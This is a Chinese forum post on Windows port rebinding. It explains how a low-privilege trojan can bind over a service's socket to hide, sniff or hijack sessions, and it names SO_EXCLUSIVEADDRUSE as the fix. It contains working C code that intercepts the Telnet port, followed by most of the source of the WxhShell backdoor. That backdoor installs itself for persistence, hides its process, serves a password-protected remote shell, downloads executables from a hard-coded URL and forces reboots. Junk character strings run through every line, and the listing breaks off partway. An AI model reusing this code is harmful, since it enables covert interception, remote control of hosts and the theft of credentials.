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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cUY-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k =5k)}i  
UzxL" `^7  
  saddr.sin_family = AF_INET; YzESV Th  
p F{jIXu  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [Fl_R[o  
|J-X3`^\H  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .9bi%=hP  
V&*IZt&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,8e'<y  
w:5?ofC  
  这意味着什么?意味着可以进行如下的攻击: aJ'Fn  
32wtN8kx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #AJW-+1g.=  
cnu&!>8V  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YnEyL2SuU  
'H5 30Y\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |0n )U(  
6 9>@0P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g(@F`W[  
^Hx}.?1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e9{ii2M  
$ VT)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .C'\U[A{  
-8 uS#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6u, g  
_%e8GWf  
  #include Xdn&%5rI  
  #include S2$66xr#  
  #include 2FMmANH0ev  
  #include    riIubX#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0~U#DTx0  
  int main() \D@j`o  
  { Z[#8F&QV!m  
  WORD wVersionRequested; Z)7{~xq  
  DWORD ret; &qx/ZT  
  WSADATA wsaData; &W45.2  
  BOOL val; p:~#(/GWf  
  SOCKADDR_IN saddr; ~ P\4 N  
  SOCKADDR_IN scaddr; %Psg53N  
  int err; ~su>RolaX  
  SOCKET s;  ?(9*@  
  SOCKET sc; =t,oj6P~  
  int caddsize; hIV9.{J  
  HANDLE mt; eKiDc=@  
  DWORD tid;   3~`P8 9  
  wVersionRequested = MAKEWORD( 2, 2 ); Y/sav;  
  err = WSAStartup( wVersionRequested, &wsaData ); 'gY?=,dF>  
  if ( err != 0 ) { \@@G\\)er  
  printf("error!WSAStartup failed!\n"); NfoHQU <n  
  return -1; HxO+JI`'3  
  } Q`k;E}x_-  
  saddr.sin_family = AF_INET; 5gf ~/Zr  
   C?H~L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QD-\'Bp/X  
/4;mjE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {,Z|8@Sl%  
  saddr.sin_port = htons(23); y3efie {J  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OLx;j+p  
  { }ILBX4c  
  printf("error!socket failed!\n"); 2hHRitt36  
  return -1; WOO3z5 La  
  } L(3&,!@  
  val = TRUE; "]eB2k_>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kX L0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )7.)fY$  
  { ew\:&"@2]w  
  printf("error!setsockopt failed!\n"); &b (*  
  return -1; k+"];  
  } v~OMm \  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;r@=[h   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7&id(&y/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,1I-%6L  
{iyJ HY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LVUA"'6V  
  { ]y#'U  
  ret=GetLastError(); !$NK7-  
  printf("error!bind failed!\n"); B 2NIV7  
  return -1; ^li3*#eT  
  } G&h@  
  listen(s,2); F:jNv3W1  
  while(1) @x1cV_s[  
  { ;L$ -_Z  
  caddsize = sizeof(scaddr); -7!L]BcZ.  
  //接受连接请求 V?OTP&+J%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |M?s[}ll  
  if(sc!=INVALID_SOCKET) Jj)J5 S /  
  { :i{M1z I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;gL{*gR]S  
  if(mt==NULL) mX>N1zAz  
  { fgqCX:SWz  
  printf("Thread Creat Failed!\n"); }k.yLcXM  
  break; 6"_pCkn;c<  
  } 1L`V{\_0s  
  } ,hf W2}  
  CloseHandle(mt); 6D| F1UFU  
  } f%PLR9Nh5@  
  closesocket(s); )"?'~5A  
  WSACleanup(); w<~[ad}  
  return 0; <zpxodM@T  
  }   +o@:8!IM1  
  DWORD WINAPI ClientThread(LPVOID lpParam) r0nnmy]{d  
  { @q!T,({kx  
  SOCKET ss = (SOCKET)lpParam; zsuqRM "  
  SOCKET sc; .$s']' =  
  unsigned char buf[4096]; A,&711Y  
  SOCKADDR_IN saddr; [.&JQ  
  long num; 5BA:^4zr?  
  DWORD val; g(zeOS]q}  
  DWORD ret; yf*'=q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^W sgAyCB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   </'n={+q  
  saddr.sin_family = AF_INET; 0xZ^ f}@L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^P{y^@XI  
  saddr.sin_port = htons(23); I:t ?#)wl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^/2HH  
  { <cZ/_+H%C  
  printf("error!socket failed!\n"); >&\.{ aj  
  return -1; ?<F([(  
  } &IXmy-w  
  val = 100; 7#wB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yT:2*sZRc  
  { WZ`i\s1#  
  ret = GetLastError(); gaC4u,Zb  
  return -1; R1 SFMI   
  } dG+$!*6Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E!ZLVR.K  
  { X> 98`  
  ret = GetLastError(); oAifM1*0  
  return -1; onmpMU7w  
  } aoz+Th3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _<]0hC  
  { HPu+ 4xQV  
  printf("error!socket connect failed!\n"); &~;M16XM,e  
  closesocket(sc); +-b'+mF  
  closesocket(ss); #do%u"q  
  return -1; /&\ V6=jA1  
  } X9PbU1o;  
  while(1) @-K[@e/uwy  
  { ;07$G+['  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Xl1%c7r.1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kI a16m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9:g A0Z  
  num = recv(ss,buf,4096,0); _1RvK? ;.{  
  if(num>0) E5A"sB   
  send(sc,buf,num,0); 3f$n8>mq  
  else if(num==0) s#<fj#S  
  break; t{B@k[|  
  num = recv(sc,buf,4096,0); dSKvs"  
  if(num>0) 5s\;7>  
  send(ss,buf,num,0); |X*y-d77W  
  else if(num==0) VMF?qT3Nd  
  break; ]@21KO  
  } W{J e)N  
  closesocket(ss); phG *It}  
  closesocket(sc); F3vywN1$,  
  return 0 ; 0'f\>4B  
  } OmkJP  
+5I5  
G11KAq(  
========================================================== a~@f,bw  
w:nH_x#C4  
下边附上一个代码,,WXhSHELL p& $PsgR  
Ohgu*5!o  
========================================================== oMemF3M  
UhDf6A`]  
#include "stdafx.h" l?IeZisX  
94O\M RQ*  
#include <stdio.h> e wT K2  
#include <string.h> O Lt0Q.{  
#include <windows.h> @f"[*7Q`/  
#include <winsock2.h> FO(QsR=\s  
#include <winsvc.h> %5+X  
#include <urlmon.h> y|+5R5}K  
&HLG<ISw  
#pragma comment (lib, "Ws2_32.lib") D1+1j:m  
#pragma comment (lib, "urlmon.lib") c2Z !Vtd  
F,)+9/S&  
#define MAX_USER   100 // 最大客户端连接数 [z\baL|  
#define BUF_SOCK   200 // sock buffer &,8Qe;  
#define KEY_BUFF   255 // 输入 buffer WI| -pzg  
,_H H8[&  
#define REBOOT     0   // 重启 ah<p_qe9|  
#define SHUTDOWN   1   // 关机 %m/lPL  
j;48Yya'  
#define DEF_PORT   5000 // 监听端口 \ :s%;s51  
UW}@oP$r  
#define REG_LEN     16   // 注册表键长度 7xB]Z;:  
#define SVC_LEN     80   // NT服务名长度 >Vx_Xv`Jwb  
byE0Z vDM  
// 从dll定义API LH}9&FfjU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VJw7defc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &n8Ja@Y]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Fab]'#1q4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bBc<p{  
KF(y`(8f  
// wxhshell配置信息 x0%m}P/  
struct WSCFG { @1xVWSF  
  int ws_port;         // 监听端口 R+ \%  
  char ws_passstr[REG_LEN]; // 口令 d0}(d Gl  
  int ws_autoins;       // 安装标记, 1=yes 0=no K"t?  
  char ws_regname[REG_LEN]; // 注册表键名 NAtDt=  
  char ws_svcname[REG_LEN]; // 服务名 ID`C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fBZLWfp9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #?r|6<4X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ChUE,)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xx1lEcj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &QD)1b[U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z~h6^h   
k7@QFw4 j  
}; ]=ApYg7!  
@=AQr4&  
// default Wxhshell configuration Vb#a ,t  
struct WSCFG wscfg={DEF_PORT, At<MY`ka  
    "xuhuanlingzhe", 'OTZ&;7{  
    1, ^Os }sJ*5S  
    "Wxhshell", 0U/[hG"DKN  
    "Wxhshell", d])ctxB  
            "WxhShell Service", RLL ph  
    "Wrsky Windows CmdShell Service", mzM95yQ^Z  
    "Please Input Your Password: ", kl~/tbf  
  1, r)-{~JA!  
  "http://www.wrsky.com/wxhshell.exe", z]hRc8 g}d  
  "Wxhshell.exe" e(^I.`9z  
    }; W;R6+@I[  
q,#s m'S  
// 消息定义模块 `Rq|*:LV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1}c /l<d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mE{QTZS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KI#v<4C$P  
char *msg_ws_ext="\n\rExit."; I:oEt  
char *msg_ws_end="\n\rQuit.";  ? .SiT5  
char *msg_ws_boot="\n\rReboot..."; 6y Muj<L  
char *msg_ws_poff="\n\rShutdown..."; kq(><T  
char *msg_ws_down="\n\rSave to "; "8ZV%%elp  
A9SL|9Q  
char *msg_ws_err="\n\rErr!"; :ln| n6X  
char *msg_ws_ok="\n\rOK!"; s}Go")p<:  
mh[,E8'd  
char ExeFile[MAX_PATH]; YwY?tOxBe  
int nUser = 0; .eVX/6,  
HANDLE handles[MAX_USER]; =,ax"C?pR  
int OsIsNt; ,vvfk=-  
k0\a7$}F  
SERVICE_STATUS       serviceStatus; e~)4v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r9bAbE bI  
W[`ybGR<  
// 函数声明 +?3RC$jyw  
int Install(void); [cEGkz  
int Uninstall(void); K\B!tk  
int DownloadFile(char *sURL, SOCKET wsh); .j,xh )v"  
int Boot(int flag); yp=sL' E  
void HideProc(void); 5"3 `ss<m  
int GetOsVer(void); *]<=04v]R  
int Wxhshell(SOCKET wsl); MTl @#M  
void TalkWithClient(void *cs); (O09HY:  
int CmdShell(SOCKET sock); ^9hc`.5N&?  
int StartFromService(void); rmvrv.$3  
int StartWxhshell(LPSTR lpCmdLine); /o6ido  
5z3WRg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?RG;q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +RpCh!KP  
_'Vo3b  
// 数据结构和表定义 &u[F)|  
SERVICE_TABLE_ENTRY DispatchTable[] = bL0]Yuh  
{ _O87[F1  
{wscfg.ws_svcname, NTServiceMain}, >#mKM%T2MJ  
{NULL, NULL} ] X]!xvN@  
}; hV`?, ~K  
j+AZ!$E  
// 自我安装 :&z!o"K  
int Install(void) 9%ct   
{ BSSehe*  
  char svExeFile[MAX_PATH]; (?XIhpd  
  HKEY key; q |Pebe=  
  strcpy(svExeFile,ExeFile); uW[AnQ1w  
oliVaavj  
// 如果是win9x系统,修改注册表设为自启动 *qL2=2  
if(!OsIsNt) { +YCWoX 2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j/T@-7^0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5gx;Bp^_  
  RegCloseKey(key); Fgwe`[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gk58VODo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); loq2+(  
  RegCloseKey(key); si]MQ\i+  
  return 0; n.5M6i/~a  
    } Te)%L*X  
  } pG* W>F  
} FRPdfo37  
else { !VG ]~lc  
V~o'L#a  
// 如果是NT以上系统,安装为系统服务 eK3d_bF+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9ucoQ@  
if (schSCManager!=0) E){ODyk  
{ 0_^3 |n  
  SC_HANDLE schService = CreateService UNrO$aX!1'  
  ( i}<fg*6@E  
  schSCManager, \!>qtFT  
  wscfg.ws_svcname, 6_9@s*=d>  
  wscfg.ws_svcdisp, Dg ~k"Ice  
  SERVICE_ALL_ACCESS, 5X]f}6kT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 11fV|b%  
  SERVICE_AUTO_START, %3HF_DNOY=  
  SERVICE_ERROR_NORMAL, +'[*ikxD=g  
  svExeFile, K"Irg.  
  NULL, /b4>0DXT5  
  NULL, /W}"/W9  
  NULL, &,/-<y-S  
  NULL, Y|-&=  
  NULL RSjcOQ8&.w  
  ); w);Bet  
  if (schService!=0) AQ"rk9Z  
  { Qq.Ja%Zq  
  CloseServiceHandle(schService); ^v3J ld  
  CloseServiceHandle(schSCManager); +- hfl/$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x+Ly,9nc$  
  strcat(svExeFile,wscfg.ws_svcname); _*t75e$-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gHWsKE  %  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =| r% lx  
  RegCloseKey(key); X4bZ4U*  
  return 0; V )oKsO  
    } | gGD3H  
  } niPqzi  
  CloseServiceHandle(schSCManager); =AuxME g  
} OR10IS  
} im mf\  
a{}8030S  
return 1; jq/CXYv  
} j  W -K  
~.S/<:`U  
// 自我卸载 4"+v:t)z6{  
int Uninstall(void) A(JgAV1{  
{ ]vCs9* |B  
  HKEY key; 7z+Ngt' !  
OK:YnSk"  
if(!OsIsNt) { #]wBXzu?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P`n"E8"ab<  
  RegDeleteValue(key,wscfg.ws_regname); )EsFy6K:  
  RegCloseKey(key); +L=a\8Ep  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cN: ek|r  
  RegDeleteValue(key,wscfg.ws_regname); 1z8fhE iiE  
  RegCloseKey(key); *nY$YwHB  
  return 0; ","to  
  } @.v{hkM`  
} T FK#ign  
} >% E=l  
else { v *@R U  
};~I#X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \.`{nq  
if (schSCManager!=0) FDIOST !  
{ A&qZ:&(OM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]dQ  
  if (schService!=0) 4j-%I7  
  { V=5v7Y3( j  
  if(DeleteService(schService)!=0) { d<afO?"  
  CloseServiceHandle(schService); CJ[^Fi?CH  
  CloseServiceHandle(schSCManager); aX(Y `g)|  
  return 0; WRfhxl  
  } s %S; 9 T  
  CloseServiceHandle(schService); 9i/VvW  
  } ?M@ff0  
  CloseServiceHandle(schSCManager); y@u,Mv  
} Q%^!j_#  
} aj@<4A=;  
PitDk 1T  
return 1; SOo}}a0  
} >r5s>A[YC  
($*R>*6<x  
// 从指定url下载文件 \TTt!"aK  
int DownloadFile(char *sURL, SOCKET wsh) X1~ WQ?ww  
{ vHxLn/  
  HRESULT hr; \ q=Bbfzv  
char seps[]= "/"; |GnqfD  
char *token; \}+b_J6-  
char *file; kESnlmy@J  
char myURL[MAX_PATH]; xE%sPWbj  
char myFILE[MAX_PATH]; )MU)'1jc,  
QPT%CW61M  
strcpy(myURL,sURL); *HXx;:  
  token=strtok(myURL,seps); s2Hx ?~  
  while(token!=NULL) -|nHwSrCZ/  
  { =P\Tk)(`  
    file=token; UfAN)SE"  
  token=strtok(NULL,seps); ,T\)%q  
  } mnS F=l;;  
3pk `&'  
GetCurrentDirectory(MAX_PATH,myFILE); ,CA3Q.y>|  
strcat(myFILE, "\\"); 7z^\}&  
strcat(myFILE, file); Z/w "zCd  
  send(wsh,myFILE,strlen(myFILE),0); h,%b>JFo  
send(wsh,"...",3,0); {m2lVzK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9$oU6#U,h  
  if(hr==S_OK) -P'KpX:]hd  
return 0; l&LrcM  
else 9 9S-P}xd  
return 1; xD3Y-d9  
pz]#/Ry?  
} P]b * hC  
|'" 17c&  
// 系统电源模块 9XSZD93L  
int Boot(int flag) Zr U9oy&!C  
{ x]%'^7#v)  
  HANDLE hToken; Zn]njf1x  
  TOKEN_PRIVILEGES tkp; vsL)E:0  
lyYi2& %  
  if(OsIsNt) { .uGvmD <;x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rp^G k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }g\1JSJ%H  
    tkp.PrivilegeCount = 1; ++)3*+N+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D3BT>zTGK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rbw5.NU  
if(flag==REBOOT) { =Pu;wx9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !uwZ%Ux z  
  return 0; [^4)3cj7}  
} /PuN+M  
else { byW9]('e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6bXR?0$*M.  
  return 0; eXdE?j  
} vL,:Yn@b  
  } 8:)W!tr  
  else { <*4BT}r,^2  
if(flag==REBOOT) { ra4$/@3n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "7&DuF$s)  
  return 0; CC<(V{Png  
} MY]<^/Q  
else { :4V8Iz 71  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SZhW)0  
  return 0; +Kz baBK  
} -J<{NF  
} ipThw p9  
$yA>j (k4  
return 1; ^-&BGQM  
} knsTy0]  
[7btoo|P]  
// win9x进程隐藏模块 Mt93YD-2+  
void HideProc(void) v, VCbmc  
{ k+D"LA%J  
"nzQ$E>?$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aA|<W g  
  if ( hKernel != NULL ) &O:IRR7p  
  { qz@k-Jqq d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'kC,pN{->  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,_N+t:*#0  
    FreeLibrary(hKernel); iW # |N^  
  } ~mR@L`"l  
o;zU;pkB  
return; UCz\SZ{za  
} 5(+PI KCjC  
u3B[1Ae:K  
// 获取操作系统版本 y$Rr,]L  
int GetOsVer(void) +'ZJ]  
{ V8Fp1?E9S  
  OSVERSIONINFO winfo; %lbDcEsf9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4Ucs9w3[  
  GetVersionEx(&winfo); sgGXj7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S#^2k!(|G  
  return 1; S#{jyU9 ]  
  else Bo#,)%80  
  return 0; vR)f'+_Nz  
} I0qS x{K  
ieL7jN,'m  
// 客户端句柄模块 O?=YY@j  
int Wxhshell(SOCKET wsl) v><c@a=[  
{ 5{"v/nXV  
  SOCKET wsh; ]VkM)< +  
  struct sockaddr_in client; n ZbINhls  
  DWORD myID; MP3Vo|}3  
yd|roG/  
  while(nUser<MAX_USER) cs]h+yE  
{ `B A'a" $  
  int nSize=sizeof(client); 44x+2@&1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JqmxS*_P  
  if(wsh==INVALID_SOCKET) return 1; a$AR  
CQANex4&\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {O=PVW2S  
if(handles[nUser]==0) mp:xR^5c  
  closesocket(wsh); ^cnTZzT#Q  
else {M^BY,%*  
  nUser++; F%tV^$%  
  }  CK"OHjR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); * @=ZzL  
;xl0J*r  
  return 0; DuMzK%  
} K0usBA  
\:m1{+l  
// 关闭 socket lS96Z3k"SB  
void CloseIt(SOCKET wsh) "OO)m](w  
{ 4~K%,K+Du  
closesocket(wsh); 67g"8R#.V  
nUser--; ,gdud[&|;  
ExitThread(0); h.*v0cq:  
} KDS} "/  
k.ttrKy<q/  
// 客户端请求句柄 |kGQ~:k+P  
void TalkWithClient(void *cs) 'N3)>!Y:8  
{ eev-";c  
bgYUsc*uR  
  SOCKET wsh=(SOCKET)cs; x^7 9s_h5  
  char pwd[SVC_LEN]; 6E#znRi6IE  
  char cmd[KEY_BUFF]; +,1 Ea )  
char chr[1]; i*((@:  
int i,j; v{X<6^g  
{SkE`u4Sz  
  while (nUser < MAX_USER) { mt]^d;E  
b+CJRB1  
if(wscfg.ws_passstr) { pft-.1py  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !pZ<{|cH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rS!M0Hq>t  
  //ZeroMemory(pwd,KEY_BUFF); FuM:~jv  
      i=0; Ae[fW97  
  while(i<SVC_LEN) { [DZ|Ltv  
cgi:"y F  
  // 设置超时 brX[-  
  fd_set FdRead; 63i&<  
  struct timeval TimeOut; dmWCNeja.  
  FD_ZERO(&FdRead); 7`f%?xVn0  
  FD_SET(wsh,&FdRead); _=cU2  
  TimeOut.tv_sec=8; %P7 qA  
  TimeOut.tv_usec=0; nV`U{}x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U&ytZ7iB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UM/!dt}DnF  
6e8 gFQ"w2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TlowEh8r  
  pwd=chr[0]; wB bCGU  
  if(chr[0]==0xd || chr[0]==0xa) { { V) `6  
  pwd=0; Z5 p [*LMO  
  break; 6?Kl L [~  
  } ~yt7L,OQ  
  i++; Ze[,0Y!u&  
    } JA*+F1s  
VEpcCK  
  // 如果是非法用户,关闭 socket 8{i O#C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P2@Z7DhQ  
} RRXp9{x`  
19U&4Jk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i)'tt9f$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '$c9S[  
e=l:!E10  
while(1) { 4i PVpro  
|;7mDhj=  
  ZeroMemory(cmd,KEY_BUFF); :G6aO  
T9I$6HAi  
      // 自动支持客户端 telnet标准   v3aPHf  
  j=0; J&s$Wqf  
  while(j<KEY_BUFF) { gXlcB~!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5.*,IedY  
  cmd[j]=chr[0]; 0QT:@v2R  
  if(chr[0]==0xa || chr[0]==0xd) { 0>8w On  
  cmd[j]=0; =@0J:"c  
  break; 2l O(f+  
  } 7f}uRXBV$A  
  j++; x\U[5d   
    } aG83@ABx  
q" f65d4c  
  // 下载文件 p#{y9s4h  
  if(strstr(cmd,"http://")) { v7SYWO#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :dh; @kp  
  if(DownloadFile(cmd,wsh)) [{Jo(X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N<8\.z5:<  
  else -2; 6Pwmv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9OV@z6  
  } y^,QM[&  
  else { Z3weFbCH  
/wLGf]0  
    switch(cmd[0]) { $TmEVC^ 0  
  NJQ)Ttt  
  // 帮助 = V2Rq(jH  
  case '?': { =`QYy-b X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w8w0:@0(  
    break; h@Ea5x  
  } mLqqo2u  
  // 安装 Q{|%kU"  
  case 'i': { Wu^Rv-xA  
    if(Install()) U8 Zb&6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +7}^Y}(  
    else XZb=;tYo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tkT,M,]?9  
    break; [M[<'+^*  
    } b^Z2Vf:k]  
  // 卸载 eO <N/?t  
  case 'r': { iRnjN  
    if(Uninstall()) >) u;X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `P;r[j"  
    else 5[Vr {^)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oI{.{]  
    break; a]u.Uqyx2w  
    } 7b[s W|{  
  // 显示 wxhshell 所在路径 ZKXE7p i  
  case 'p': { 9?H$0xZV  
    char svExeFile[MAX_PATH]; ZPmqoR[  
    strcpy(svExeFile,"\n\r"); Xx{| [2`  
      strcat(svExeFile,ExeFile); `/PBZnj  
        send(wsh,svExeFile,strlen(svExeFile),0); bW6| &P}X  
    break; ZOEe-XW  
    } Nn[*ox#i  
  // 重启 f?UI+TU  
  case 'b': { E2'Wzrovlo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PaI\y! f  
    if(Boot(REBOOT)) 7H Dc]&z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o~~;I  
    else { ._G ,uP$  
    closesocket(wsh); ; BN81;  
    ExitThread(0); 9r].rzf9  
    } _u[tv,  
    break; }ssV"5M  
    } HDH G~<s  
  // 关机 jw:z2:0~  
  case 'd': { [[ ie  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hI:.Qp`r  
    if(Boot(SHUTDOWN)) Kz"3ba}KH  
